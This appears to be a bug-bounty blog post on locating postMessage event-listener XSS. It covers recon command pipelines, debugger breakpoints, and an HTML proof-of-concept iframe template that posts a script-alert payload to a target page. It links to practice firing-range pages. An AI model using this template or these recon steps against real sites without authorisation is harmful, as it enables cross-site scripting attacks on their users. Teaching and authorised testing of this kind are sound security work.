There are many posts on how to use eventlistener for XSS already, but not so many on how to find them with recon and tools.
I suggest reading writeups on eventlistener XSS before getting into this, since im skipping the technical parts to focus on methodology.
Initially, I look for this regex in all the included js with this regex:cat hosts | getJS | grep target.com | httpx --match-regex "(?i)addEventListener\((?:'|\")message(?:'|\")"
grep target.com
will narrow the results to not include public static CDN servers. These are maintained and hard to exploit.
However if the target have their own private content delivery on e.g. static.target.com it may not be as well maintained and hold
vulnerable thirdparty js files. This is mainly what I look for when checking these results.
And of course attached eventlisteners can also exist in script tags on normal pages:
cat hosts | hakrawler -plain | httpx --match-regex "(?i)addEventListener\((?:'|\")message(?:'|\")"
Burp also comes with a similar function in their embedded browser(Dom Invader).
If a message is sent that looks "home made" or occurs during a sensitive flow in the application, I take a look at it.
Tomnomnom brings up some valuable tips on how to work on postmessage XSS on STÖKs channel: https://www.youtube.com/watch?v=FTeE3OrTNoASome key take aways is how valuable the chrome debugger is, open your console -> go to the sources tab -> Global Listeners -> message. That's all the registered message eventlisteners on the page.
Put a breakpoint at the listener and shoot window.PostMessage('test', '*')
in your console and see where it goes from the breakpoint. The fun sport is to try to please the if()'s and regexes until it hits a sink or similar.
If the window.PostMessage() pops from your console, and the origin isn't properly checked(The boring part that prevents exploitability many times), make a post on https://repl.it like Tomnomnom suggests, with the following template code:
<!DOCTYPE html>
<html>
<head>
<script>
var target = document.getElementById('target')
target.addEventListener('load', () => {
target.contentWindow.postMessage({
"type": "redacted",
"data": "<script>alert(document.domain)</script>"}, '*')
})
target.src = "https://test.target.com/search?q=yavolo"
</script>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
</head>
<body>
<iframe id=target></iframe>
</body>
</html>
If you see the target domain and not repl.it in the alert prompt, its bounty time. Just paste your repl.it
link in your Hackerone report.
https://public-firing-range.appspot.com/dom/toxicdom/postMessage/eval
https://public-firing-range.appspot.com/dom/toxicdom/postMessage/innerHtml
https://public-firing-range.appspot.com/dom/toxicdom/postMessage/documentWrite
https://public-firing-range.appspot.com/dom/toxicdom/postMessage/complexMessageDocumentWriteEval
https://public-firing-range.appspot.com/dom/toxicdom/postMessage/improperOriginValidationWithRegExp
Twitter: @oliverrickfors